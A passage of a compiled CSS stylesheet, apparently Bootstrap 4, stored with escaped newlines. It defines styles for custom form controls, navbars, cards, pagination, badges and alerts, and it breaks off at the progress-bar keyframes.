#e9ecef;\n}\n\n.custom-select::-ms-expand {\n  opacity: 0;\n}\n\n.custom-select-sm {\n  height: calc(1.8125rem + 2px);\n  padding-top: 0.375rem;\n  padding-bottom: 0.375rem;\n  font-size: 75%;\n}\n\n.custom-select-lg {\n  height: calc(2.875rem + 2px);\n  padding-top: 0.375rem;\n  padding-bottom: 0.375rem;\n  font-size: 125%;\n}\n\n.custom-file {\n  position: relative;\n  display: inline-block;\n  width: 100%;\n  height: calc(2.25rem + 2px);\n  margin-bottom: 0;\n}\n\n.custom-file-input {\n  position: relative;\n  z-index: 2;\n  width: 100%;\n  height: calc(2.25rem + 2px);\n  margin: 0;\n  opacity: 0;\n}\n\n.custom-file-input:focus ~ .custom-file-label {\n  border-color: #80bdff;\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-file-input:focus ~ .custom-file-label::after {\n  border-color: #80bdff;\n}\n\n.custom-file-input:lang(en) ~ .custom-file-label::after {\n  content: \"Browse\";\n}\n\n.custom-file-label {\n  position: absolute;\n  top: 0;\n  right: 0;\n  left: 0;\n  z-index: 1;\n  height: calc(2.25rem + 2px);\n  padding: 0.375rem 0.75rem;\n  line-height: 1.5;\n  color: #495057;\n  background-color: #fff;\n  border: 1px solid #ced4da;\n  border-radius: 0.25rem;\n}\n\n.custom-file-label::after {\n  position: absolute;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  z-index: 3;\n  display: block;\n  height: calc(calc(2.25rem + 2px) - 1px * 2);\n  padding: 0.375rem 0.75rem;\n  line-height: 1.5;\n  color: #495057;\n  content: \"Browse\";\n  background-color: #e9ecef;\n  border-left: 1px solid #ced4da;\n  border-radius: 0 0.25rem 0.25rem 0;\n}\n\n.custom-range {\n  width: 100%;\n  padding-left: 0;\n  background-color: transparent;\n  -webkit-appearance: none;\n  -moz-appearance: none;\n  appearance: none;\n}\n\n.custom-range:focus {\n  outline: none;\n}\n\n.custom-range::-moz-focus-outer {\n  border: 0;\n}\n\n.custom-range::-webkit-slider-thumb {\n  width: 1rem;\n  height: 1rem;\n  margin-top: -0.25rem;\n  background-color: #007bff;\n  border: 0;\n  border-radius: 1rem;\n  -webkit-appearance: none;\n  appearance: none;\n}\n\n.custom-range::-webkit-slider-thumb:focus {\n  outline: none;\n  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-range::-webkit-slider-thumb:active {\n  background-color: #b3d7ff;\n}\n\n.custom-range::-webkit-slider-runnable-track {\n  width: 100%;\n  height: 0.5rem;\n  color: transparent;\n  cursor: pointer;\n  background-color: #dee2e6;\n  border-color: transparent;\n  border-radius: 1rem;\n}\n\n.custom-range::-moz-range-thumb {\n  width: 1rem;\n  height: 1rem;\n  background-color: #007bff;\n  border: 0;\n  border-radius: 1rem;\n  -moz-appearance: none;\n  appearance: none;\n}\n\n.custom-range::-moz-range-thumb:focus {\n  outline: none;\n  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-range::-moz-range-thumb:active {\n  background-color: #b3d7ff;\n}\n\n.custom-range::-moz-range-track {\n  width: 100%;\n  height: 0.5rem;\n  color: transparent;\n  cursor: pointer;\n  background-color: #dee2e6;\n  border-color: transparent;\n  border-radius: 1rem;\n}\n\n.custom-range::-ms-thumb {\n  width: 1rem;\n  height: 1rem;\n  background-color: #007bff;\n  border: 0;\n  border-radius: 1rem;\n  appearance: none;\n}\n\n.custom-range::-ms-thumb:focus {\n  outline: none;\n  box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-range::-ms-thumb:active {\n  background-color: #b3d7ff;\n}\n\n.custom-range::-ms-track {\n  width: 100%;\n  height: 0.5rem;\n  color: transparent;\n  cursor: pointer;\n  background-color: transparent;\n  border-color: transparent;\n  border-width: 0.5rem;\n}\n\n.custom-range::-ms-fill-lower {\n  background-color: #dee2e6;\n  border-radius: 1rem;\n}\n\n.custom-range::-ms-fill-upper {\n  margin-right: 15px;\n  background-color: #dee2e6;\n  border-radius: 1rem;\n}\n\n.nav {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n  flex-wrap: wrap;\n  padding-left: 0;\n  margin-bottom: 0;\n  list-style: none;\n}\n\n.nav-link {\n  display: block;\n  padding: 0.5rem 1rem;\n}\n\n.nav-link:hover, .nav-link:focus {\n  text-decoration: none;\n}\n\n.nav-link.disabled {\n  color: #6c757d;\n}\n\n.nav-tabs {\n  border-bottom: 1px solid #dee2e6;\n}\n\n.nav-tabs .nav-item {\n  margin-bottom: -1px;\n}\n\n.nav-tabs .nav-link {\n  border: 1px solid transparent;\n  border-top-left-radius: 0.25rem;\n  border-top-right-radius: 0.25rem;\n}\n\n.nav-tabs .nav-link:hover, .nav-tabs .nav-link:focus {\n  border-color: #e9ecef #e9ecef #dee2e6;\n}\n\n.nav-tabs .nav-link.disabled {\n  color: #6c757d;\n  background-color: transparent;\n  border-color: transparent;\n}\n\n.nav-tabs .nav-link.active,\n.nav-tabs .nav-item.show .nav-link {\n  color: #495057;\n  background-color: #fff;\n  border-color: #dee2e6 #dee2e6 #fff;\n}\n\n.nav-tabs .dropdown-menu {\n  margin-top: -1px;\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n\n.nav-pills .nav-link {\n  border-radius: 0.25rem;\n}\n\n.nav-pills .nav-link.active,\n.nav-pills .show > .nav-link {\n  color: #fff;\n  background-color: #007bff;\n}\n\n.nav-fill .nav-item {\n  -ms-flex: 1 1 auto;\n  flex: 1 1 auto;\n  text-align: center;\n}\n\n.nav-justified .nav-item {\n  -ms-flex-preferred-size: 0;\n  flex-basis: 0;\n  -ms-flex-positive: 1;\n  flex-grow: 1;\n  text-align: center;\n}\n\n.tab-content > .tab-pane {\n  display: none;\n}\n\n.tab-content > .active {\n  display: block;\n}\n\n.navbar {\n  position: relative;\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n  flex-wrap: wrap;\n  -ms-flex-align: center;\n  align-items: center;\n  -ms-flex-pack: justify;\n  justify-content: space-between;\n  padding: 0.5rem 1rem;\n}\n\n.navbar > .container,\n.navbar > .container-fluid {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n  flex-wrap: wrap;\n  -ms-flex-align: center;\n  align-items: center;\n  -ms-flex-pack: justify;\n  justify-content: space-between;\n}\n\n.navbar-brand {\n  display: inline-block;\n  padding-top: 0.3125rem;\n  padding-bottom: 0.3125rem;\n  margin-right: 1rem;\n  font-size: 1.25rem;\n  line-height: inherit;\n  white-space: nowrap;\n}\n\n.navbar-brand:hover, .navbar-brand:focus {\n  text-decoration: none;\n}\n\n.navbar-nav {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-direction: column;\n  flex-direction: column;\n  padding-left: 0;\n  margin-bottom: 0;\n  list-style: none;\n}\n\n.navbar-nav .nav-link {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.navbar-nav .dropdown-menu {\n  position: static;\n  float: none;\n}\n\n.navbar-text {\n  display: inline-block;\n  padding-top: 0.5rem;\n  padding-bottom: 0.5rem;\n}\n\n.navbar-collapse {\n  -ms-flex-preferred-size: 100%;\n  flex-basis: 100%;\n  -ms-flex-positive: 1;\n  flex-grow: 1;\n  -ms-flex-align: center;\n  align-items: center;\n}\n\n.navbar-toggler {\n  padding: 0.25rem 0.75rem;\n  font-size: 1.25rem;\n  line-height: 1;\n  background-color: transparent;\n  border: 1px solid transparent;\n  border-radius: 0.25rem;\n}\n\n.navbar-toggler:hover, .navbar-toggler:focus {\n  text-decoration: none;\n}\n\n.navbar-toggler:not(:disabled):not(.disabled) {\n  cursor: pointer;\n}\n\n.navbar-toggler-icon {\n  display: inline-block;\n  width: 1.5em;\n  height: 1.5em;\n  vertical-align: middle;\n  content: \"\";\n  background: no-repeat center center;\n  background-size: 100% 100%;\n}\n\n@media (max-width: 575.98px) {\n  .navbar-expand-sm > .container,\n  .navbar-expand-sm > .container-fluid {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n@media (min-width: 576px) {\n  .navbar-expand-sm {\n    -ms-flex-flow: row nowrap;\n    flex-flow: row nowrap;\n    -ms-flex-pack: start;\n    justify-content: flex-start;\n  }\n  .navbar-expand-sm .navbar-nav {\n    -ms-flex-direction: row;\n    flex-direction: row;\n  }\n  .navbar-expand-sm .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .navbar-expand-sm .navbar-nav .nav-link {\n    padding-right: 0.5rem;\n    padding-left: 0.5rem;\n  }\n  .navbar-expand-sm > .container,\n  .navbar-expand-sm > .container-fluid {\n    -ms-flex-wrap: nowrap;\n    flex-wrap: nowrap;\n  }\n  .navbar-expand-sm .navbar-collapse {\n    display: -ms-flexbox !important;\n    display: flex !important;\n    -ms-flex-preferred-size: auto;\n    flex-basis: auto;\n  }\n  .navbar-expand-sm .navbar-toggler {\n    display: none;\n  }\n}\n\n@media (max-width: 767.98px) {\n  .navbar-expand-md > .container,\n  .navbar-expand-md > .container-fluid {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n@media (min-width: 768px) {\n  .navbar-expand-md {\n    -ms-flex-flow: row nowrap;\n    flex-flow: row nowrap;\n    -ms-flex-pack: start;\n    justify-content: flex-start;\n  }\n  .navbar-expand-md .navbar-nav {\n    -ms-flex-direction: row;\n    flex-direction: row;\n  }\n  .navbar-expand-md .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .navbar-expand-md .navbar-nav .nav-link {\n    padding-right: 0.5rem;\n    padding-left: 0.5rem;\n  }\n  .navbar-expand-md > .container,\n  .navbar-expand-md > .container-fluid {\n    -ms-flex-wrap: nowrap;\n    flex-wrap: nowrap;\n  }\n  .navbar-expand-md .navbar-collapse {\n    display: -ms-flexbox !important;\n    display: flex !important;\n    -ms-flex-preferred-size: auto;\n    flex-basis: auto;\n  }\n  .navbar-expand-md .navbar-toggler {\n    display: none;\n  }\n}\n\n@media (max-width: 991.98px) {\n  .navbar-expand-lg > .container,\n  .navbar-expand-lg > .container-fluid {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n@media (min-width: 992px) {\n  .navbar-expand-lg {\n    -ms-flex-flow: row nowrap;\n    flex-flow: row nowrap;\n    -ms-flex-pack: start;\n    justify-content: flex-start;\n  }\n  .navbar-expand-lg .navbar-nav {\n    -ms-flex-direction: row;\n    flex-direction: row;\n  }\n  .navbar-expand-lg .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .navbar-expand-lg .navbar-nav .nav-link {\n    padding-right: 0.5rem;\n    padding-left: 0.5rem;\n  }\n  .navbar-expand-lg > .container,\n  .navbar-expand-lg > .container-fluid {\n    -ms-flex-wrap: nowrap;\n    flex-wrap: nowrap;\n  }\n  .navbar-expand-lg .navbar-collapse {\n    display: -ms-flexbox !important;\n    display: flex !important;\n    -ms-flex-preferred-size: auto;\n    flex-basis: auto;\n  }\n  .navbar-expand-lg .navbar-toggler {\n    display: none;\n  }\n}\n\n@media (max-width: 1199.98px) {\n  .navbar-expand-xl > .container,\n  .navbar-expand-xl > .container-fluid {\n    padding-right: 0;\n    padding-left: 0;\n  }\n}\n\n@media (min-width: 1200px) {\n  .navbar-expand-xl {\n    -ms-flex-flow: row nowrap;\n    flex-flow: row nowrap;\n    -ms-flex-pack: start;\n    justify-content: flex-start;\n  }\n  .navbar-expand-xl .navbar-nav {\n    -ms-flex-direction: row;\n    flex-direction: row;\n  }\n  .navbar-expand-xl .navbar-nav .dropdown-menu {\n    position: absolute;\n  }\n  .navbar-expand-xl .navbar-nav .nav-link {\n    padding-right: 0.5rem;\n    padding-left: 0.5rem;\n  }\n  .navbar-expand-xl > .container,\n  .navbar-expand-xl > .container-fluid {\n    -ms-flex-wrap: nowrap;\n    flex-wrap: nowrap;\n  }\n  .navbar-expand-xl .navbar-collapse {\n    display: -ms-flexbox !important;\n    display: flex !important;\n    -ms-flex-preferred-size: auto;\n    flex-basis: auto;\n  }\n  .navbar-expand-xl .navbar-toggler {\n    display: none;\n  }\n}\n\n.navbar-expand {\n  -ms-flex-flow: row nowrap;\n  flex-flow: row nowrap;\n  -ms-flex-pack: start;\n  justify-content: flex-start;\n}\n\n.navbar-expand > .container,\n.navbar-expand > .container-fluid {\n  padding-right: 0;\n  padding-left: 0;\n}\n\n.navbar-expand .navbar-nav {\n  -ms-flex-direction: row;\n  flex-direction: row;\n}\n\n.navbar-expand .navbar-nav .dropdown-menu {\n  position: absolute;\n}\n\n.navbar-expand .navbar-nav .nav-link {\n  padding-right: 0.5rem;\n  padding-left: 0.5rem;\n}\n\n.navbar-expand > .container,\n.navbar-expand > .container-fluid {\n  -ms-flex-wrap: nowrap;\n  flex-wrap: nowrap;\n}\n\n.navbar-expand .navbar-collapse {\n  display: -ms-flexbox !important;\n  display: flex !important;\n  -ms-flex-preferred-size: auto;\n  flex-basis: auto;\n}\n\n.navbar-expand .navbar-toggler {\n  display: none;\n}\n\n.navbar-light .navbar-brand {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-brand:hover, .navbar-light .navbar-brand:focus {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-nav .nav-link {\n  color: rgba(0, 0, 0, 0.5);\n}\n\n.navbar-light .navbar-nav .nav-link:hover, .navbar-light .navbar-nav .nav-link:focus {\n  color: rgba(0, 0, 0, 0.7);\n}\n\n.navbar-light .navbar-nav .nav-link.disabled {\n  color: rgba(0, 0, 0, 0.3);\n}\n\n.navbar-light .navbar-nav .show > .nav-link,\n.navbar-light .navbar-nav .active > .nav-link,\n.navbar-light .navbar-nav .nav-link.show,\n.navbar-light .navbar-nav .nav-link.active {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-toggler {\n  color: rgba(0, 0, 0, 0.5);\n  border-color: rgba(0, 0, 0, 0.1);\n}\n\n.navbar-light .navbar-toggler-icon {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\");\n}\n\n.navbar-light .navbar-text {\n  color: rgba(0, 0, 0, 0.5);\n}\n\n.navbar-light .navbar-text a {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-text a:hover, .navbar-light .navbar-text a:focus {\n  color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-dark .navbar-brand {\n  color: #fff;\n}\n\n.navbar-dark .navbar-brand:hover, .navbar-dark .navbar-brand:focus {\n  color: #fff;\n}\n\n.navbar-dark .navbar-nav .nav-link {\n  color: rgba(255, 255, 255, 0.5);\n}\n\n.navbar-dark .navbar-nav .nav-link:hover, .navbar-dark .navbar-nav .nav-link:focus {\n  color: rgba(255, 255, 255, 0.75);\n}\n\n.navbar-dark .navbar-nav .nav-link.disabled {\n  color: rgba(255, 255, 255, 0.25);\n}\n\n.navbar-dark .navbar-nav .show > .nav-link,\n.navbar-dark .navbar-nav .active > .nav-link,\n.navbar-dark .navbar-nav .nav-link.show,\n.navbar-dark .navbar-nav .nav-link.active {\n  color: #fff;\n}\n\n.navbar-dark .navbar-toggler {\n  color: rgba(255, 255, 255, 0.5);\n  border-color: rgba(255, 255, 255, 0.1);\n}\n\n.navbar-dark .navbar-toggler-icon {\n  background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\");\n}\n\n.navbar-dark .navbar-text {\n  color: rgba(255, 255, 255, 0.5);\n}\n\n.navbar-dark .navbar-text a {\n  color: #fff;\n}\n\n.navbar-dark .navbar-text a:hover, .navbar-dark .navbar-text a:focus {\n  color: #fff;\n}\n\n.card {\n  position: relative;\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-direction: column;\n  flex-direction: column;\n  min-width: 0;\n  word-wrap: break-word;\n  background-color: #fff;\n  background-clip: border-box;\n  border: 1px solid rgba(0, 0, 0, 0.125);\n  border-radius: 0.25rem;\n}\n\n.card > hr {\n  margin-right: 0;\n  margin-left: 0;\n}\n\n.card > .list-group:first-child .list-group-item:first-child {\n  border-top-left-radius: 0.25rem;\n  border-top-right-radius: 0.25rem;\n}\n\n.card > .list-group:last-child .list-group-item:last-child {\n  border-bottom-right-radius: 0.25rem;\n  border-bottom-left-radius: 0.25rem;\n}\n\n.card-body {\n  -ms-flex: 1 1 auto;\n  flex: 1 1 auto;\n  padding: 1.25rem;\n}\n\n.card-title {\n  margin-bottom: 0.75rem;\n}\n\n.card-subtitle {\n  margin-top: -0.375rem;\n  margin-bottom: 0;\n}\n\n.card-text:last-child {\n  margin-bottom: 0;\n}\n\n.card-link:hover {\n  text-decoration: none;\n}\n\n.card-link + .card-link {\n  margin-left: 1.25rem;\n}\n\n.card-header {\n  padding: 0.75rem 1.25rem;\n  margin-bottom: 0;\n  background-color: rgba(0, 0, 0, 0.03);\n  border-bottom: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.card-header:first-child {\n  border-radius: calc(0.25rem - 1px) calc(0.25rem - 1px) 0 0;\n}\n\n.card-header + .list-group .list-group-item:first-child {\n  border-top: 0;\n}\n\n.card-footer {\n  padding: 0.75rem 1.25rem;\n  background-color: rgba(0, 0, 0, 0.03);\n  border-top: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.card-footer:last-child {\n  border-radius: 0 0 calc(0.25rem - 1px) calc(0.25rem - 1px);\n}\n\n.card-header-tabs {\n  margin-right: -0.625rem;\n  margin-bottom: -0.75rem;\n  margin-left: -0.625rem;\n  border-bottom: 0;\n}\n\n.card-header-pills {\n  margin-right: -0.625rem;\n  margin-left: -0.625rem;\n}\n\n.card-img-overlay {\n  position: absolute;\n  top: 0;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  padding: 1.25rem;\n}\n\n.card-img {\n  width: 100%;\n  border-radius: calc(0.25rem - 1px);\n}\n\n.card-img-top {\n  width: 100%;\n  border-top-left-radius: calc(0.25rem - 1px);\n  border-top-right-radius: calc(0.25rem - 1px);\n}\n\n.card-img-bottom {\n  width: 100%;\n  border-bottom-right-radius: calc(0.25rem - 1px);\n  border-bottom-left-radius: calc(0.25rem - 1px);\n}\n\n.card-deck {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-direction: column;\n  flex-direction: column;\n}\n\n.card-deck .card {\n  margin-bottom: 15px;\n}\n\n@media (min-width: 576px) {\n  .card-deck {\n    -ms-flex-flow: row wrap;\n    flex-flow: row wrap;\n    margin-right: -15px;\n    margin-left: -15px;\n  }\n  .card-deck .card {\n    display: -ms-flexbox;\n    display: flex;\n    -ms-flex: 1 0 0%;\n    flex: 1 0 0%;\n    -ms-flex-direction: column;\n    flex-direction: column;\n    margin-right: 15px;\n    margin-bottom: 0;\n    margin-left: 15px;\n  }\n}\n\n.card-group {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-direction: column;\n  flex-direction: column;\n}\n\n.card-group > .card {\n  margin-bottom: 15px;\n}\n\n@media (min-width: 576px) {\n  .card-group {\n    -ms-flex-flow: row wrap;\n    flex-flow: row wrap;\n  }\n  .card-group > .card {\n    -ms-flex: 1 0 0%;\n    flex: 1 0 0%;\n    margin-bottom: 0;\n  }\n  .card-group > .card + .card {\n    margin-left: 0;\n    border-left: 0;\n  }\n  .card-group > .card:first-child {\n    border-top-right-radius: 0;\n    border-bottom-right-radius: 0;\n  }\n  .card-group > .card:first-child .card-img-top,\n  .card-group > .card:first-child .card-header {\n    border-top-right-radius: 0;\n  }\n  .card-group > .card:first-child .card-img-bottom,\n  .card-group > .card:first-child .card-footer {\n    border-bottom-right-radius: 0;\n  }\n  .card-group > .card:last-child {\n    border-top-left-radius: 0;\n    border-bottom-left-radius: 0;\n  }\n  .card-group > .card:last-child .card-img-top,\n  .card-group > .card:last-child .card-header {\n    border-top-left-radius: 0;\n  }\n  .card-group > .card:last-child .card-img-bottom,\n  .card-group > .card:last-child .card-footer {\n    border-bottom-left-radius: 0;\n  }\n  .card-group > .card:only-child {\n    border-radius: 0.25rem;\n  }\n  .card-group > .card:only-child .card-img-top,\n  .card-group > .card:only-child .card-header {\n    border-top-left-radius: 0.25rem;\n    border-top-right-radius: 0.25rem;\n  }\n  .card-group > .card:only-child .card-img-bottom,\n  .card-group > .card:only-child .card-footer {\n    border-bottom-right-radius: 0.25rem;\n    border-bottom-left-radius: 0.25rem;\n  }\n  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) {\n    border-radius: 0;\n  }\n  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-img-top,\n  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-img-bottom,\n  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-header,\n  .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-footer {\n    border-radius: 0;\n  }\n}\n\n.card-columns .card {\n  margin-bottom: 0.75rem;\n}\n\n@media (min-width: 576px) {\n  .card-columns {\n    -webkit-column-count: 3;\n    -moz-column-count: 3;\n    column-count: 3;\n    -webkit-column-gap: 1.25rem;\n    -moz-column-gap: 1.25rem;\n    column-gap: 1.25rem;\n    orphans: 1;\n    widows: 1;\n  }\n  .card-columns .card {\n    display: inline-block;\n    width: 100%;\n  }\n}\n\n.accordion .card:not(:first-of-type):not(:last-of-type) {\n  border-bottom: 0;\n  border-radius: 0;\n}\n\n.accordion .card:not(:first-of-type) .card-header:first-child {\n  border-radius: 0;\n}\n\n.accordion .card:first-of-type {\n  border-bottom: 0;\n  border-bottom-right-radius: 0;\n  border-bottom-left-radius: 0;\n}\n\n.accordion .card:last-of-type {\n  border-top-left-radius: 0;\n  border-top-right-radius: 0;\n}\n\n.breadcrumb {\n  display: -ms-flexbox;\n  display: flex;\n  -ms-flex-wrap: wrap;\n  flex-wrap: wrap;\n  padding: 0.75rem 1rem;\n  margin-bottom: 1rem;\n  list-style: none;\n  background-color: #e9ecef;\n  border-radius: 0.25rem;\n}\n\n.breadcrumb-item + .breadcrumb-item {\n  padding-left: 0.5rem;\n}\n\n.breadcrumb-item + .breadcrumb-item::before {\n  display: inline-block;\n  padding-right: 0.5rem;\n  color: #6c757d;\n  content: \"/\";\n}\n\n.breadcrumb-item + .breadcrumb-item:hover::before {\n  text-decoration: underline;\n}\n\n.breadcrumb-item + .breadcrumb-item:hover::before {\n  text-decoration: none;\n}\n\n.breadcrumb-item.active {\n  color: #6c757d;\n}\n\n.pagination {\n  display: -ms-flexbox;\n  display: flex;\n  padding-left: 0;\n  list-style: none;\n  border-radius: 0.25rem;\n}\n\n.page-link {\n  position: relative;\n  display: block;\n  padding: 0.5rem 0.75rem;\n  margin-left: -1px;\n  line-height: 1.25;\n  color: #007bff;\n  background-color: #fff;\n  border: 1px solid #dee2e6;\n}\n\n.page-link:hover {\n  z-index: 2;\n  color: #0056b3;\n  text-decoration: none;\n  background-color: #e9ecef;\n  border-color: #dee2e6;\n}\n\n.page-link:focus {\n  z-index: 2;\n  outline: 0;\n  box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.page-link:not(:disabled):not(.disabled) {\n  cursor: pointer;\n}\n\n.page-item:first-child .page-link {\n  margin-left: 0;\n  border-top-left-radius: 0.25rem;\n  border-bottom-left-radius: 0.25rem;\n}\n\n.page-item:last-child .page-link {\n  border-top-right-radius: 0.25rem;\n  border-bottom-right-radius: 0.25rem;\n}\n\n.page-item.active .page-link {\n  z-index: 1;\n  color: #fff;\n  background-color: #007bff;\n  border-color: #007bff;\n}\n\n.page-item.disabled .page-link {\n  color: #6c757d;\n  pointer-events: none;\n  cursor: auto;\n  background-color: #fff;\n  border-color: #dee2e6;\n}\n\n.pagination-lg .page-link {\n  padding: 0.75rem 1.5rem;\n  font-size: 1.25rem;\n  line-height: 1.5;\n}\n\n.pagination-lg .page-item:first-child .page-link {\n  border-top-left-radius: 0.3rem;\n  border-bottom-left-radius: 0.3rem;\n}\n\n.pagination-lg .page-item:last-child .page-link {\n  border-top-right-radius: 0.3rem;\n  border-bottom-right-radius: 0.3rem;\n}\n\n.pagination-sm .page-link {\n  padding: 0.25rem 0.5rem;\n  font-size: 0.875rem;\n  line-height: 1.5;\n}\n\n.pagination-sm .page-item:first-child .page-link {\n  border-top-left-radius: 0.2rem;\n  border-bottom-left-radius: 0.2rem;\n}\n\n.pagination-sm .page-item:last-child .page-link {\n  border-top-right-radius: 0.2rem;\n  border-bottom-right-radius: 0.2rem;\n}\n\n.badge {\n  display: inline-block;\n  padding: 0.25em 0.4em;\n  font-size: 75%;\n  font-weight: 700;\n  line-height: 1;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: baseline;\n  border-radius: 0.25rem;\n}\n\n.badge:empty {\n  display: none;\n}\n\n.btn .badge {\n  position: relative;\n  top: -1px;\n}\n\n.badge-pill {\n  padding-right: 0.6em;\n  padding-left: 0.6em;\n  border-radius: 10rem;\n}\n\n.badge-primary {\n  color: #fff;\n  background-color: #007bff;\n}\n\n.badge-primary[href]:hover, .badge-primary[href]:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #0062cc;\n}\n\n.badge-secondary {\n  color: #fff;\n  background-color: #6c757d;\n}\n\n.badge-secondary[href]:hover, .badge-secondary[href]:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #545b62;\n}\n\n.badge-success {\n  color: #fff;\n  background-color: #28a745;\n}\n\n.badge-success[href]:hover, .badge-success[href]:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #1e7e34;\n}\n\n.badge-info {\n  color: #fff;\n  background-color: #17a2b8;\n}\n\n.badge-info[href]:hover, .badge-info[href]:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #117a8b;\n}\n\n.badge-warning {\n  color: #212529;\n  background-color: #ffc107;\n}\n\n.badge-warning[href]:hover, .badge-warning[href]:focus {\n  color: #212529;\n  text-decoration: none;\n  background-color: #d39e00;\n}\n\n.badge-danger {\n  color: #fff;\n  background-color: #dc3545;\n}\n\n.badge-danger[href]:hover, .badge-danger[href]:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #bd2130;\n}\n\n.badge-light {\n  color: #212529;\n  background-color: #f8f9fa;\n}\n\n.badge-light[href]:hover, .badge-light[href]:focus {\n  color: #212529;\n  text-decoration: none;\n  background-color: #dae0e5;\n}\n\n.badge-dark {\n  color: #fff;\n  background-color: #343a40;\n}\n\n.badge-dark[href]:hover, .badge-dark[href]:focus {\n  color: #fff;\n  text-decoration: none;\n  background-color: #1d2124;\n}\n\n.jumbotron {\n  padding: 2rem 1rem;\n  margin-bottom: 2rem;\n  background-color: #e9ecef;\n  border-radius: 0.3rem;\n}\n\n@media (min-width: 576px) {\n  .jumbotron {\n    padding: 4rem 2rem;\n  }\n}\n\n.jumbotron-fluid {\n  padding-right: 0;\n  padding-left: 0;\n  border-radius: 0;\n}\n\n.alert {\n  position: relative;\n  padding: 0.75rem 1.25rem;\n  margin-bottom: 1rem;\n  border: 1px solid transparent;\n  border-radius: 0.25rem;\n}\n\n.alert-heading {\n  color: inherit;\n}\n\n.alert-link {\n  font-weight: 700;\n}\n\n.alert-dismissible {\n  padding-right: 4rem;\n}\n\n.alert-dismissible .close {\n  position: absolute;\n  top: 0;\n  right: 0;\n  padding: 0.75rem 1.25rem;\n  color: inherit;\n}\n\n.alert-primary {\n  color: #004085;\n  background-color: #cce5ff;\n  border-color: #b8daff;\n}\n\n.alert-primary hr {\n  border-top-color: #9fcdff;\n}\n\n.alert-primary .alert-link {\n  color: #002752;\n}\n\n.alert-secondary {\n  color: #383d41;\n  background-color: #e2e3e5;\n  border-color: #d6d8db;\n}\n\n.alert-secondary hr {\n  border-top-color: #c8cbcf;\n}\n\n.alert-secondary .alert-link {\n  color: #202326;\n}\n\n.alert-success {\n  color: #155724;\n  background-color: #d4edda;\n  border-color: #c3e6cb;\n}\n\n.alert-success hr {\n  border-top-color: #b1dfbb;\n}\n\n.alert-success .alert-link {\n  color: #0b2e13;\n}\n\n.alert-info {\n  color: #0c5460;\n  background-color: #d1ecf1;\n  border-color: #bee5eb;\n}\n\n.alert-info hr {\n  border-top-color: #abdde5;\n}\n\n.alert-info .alert-link {\n  color: #062c33;\n}\n\n.alert-warning {\n  color: #856404;\n  background-color: #fff3cd;\n  border-color: #ffeeba;\n}\n\n.alert-warning hr {\n  border-top-color: #ffe8a1;\n}\n\n.alert-warning .alert-link {\n  color: #533f03;\n}\n\n.alert-danger {\n  color: #721c24;\n  background-color: #f8d7da;\n  border-color: #f5c6cb;\n}\n\n.alert-danger hr {\n  border-top-color: #f1b0b7;\n}\n\n.alert-danger .alert-link {\n  color: #491217;\n}\n\n.alert-light {\n  color: #818182;\n  background-color: #fefefe;\n  border-color: #fdfdfe;\n}\n\n.alert-light hr {\n  border-top-color: #ececf6;\n}\n\n.alert-light .alert-link {\n  color: #686868;\n}\n\n.alert-dark {\n  color: #1b1e21;\n  background-color: #d6d8d9;\n  border-color: #c6c8ca;\n}\n\n.alert-dark hr {\n  border-top-color: #b9bbbe;\n}\n\n.alert-dark .alert-link {\n  color: #040505;\n}\n\n@-webkit-keyframes progress-bar-stripes {\n  from {\n    background-position: 1rem 0;\n  }\n  to {\n    background-position: 0 0;\n  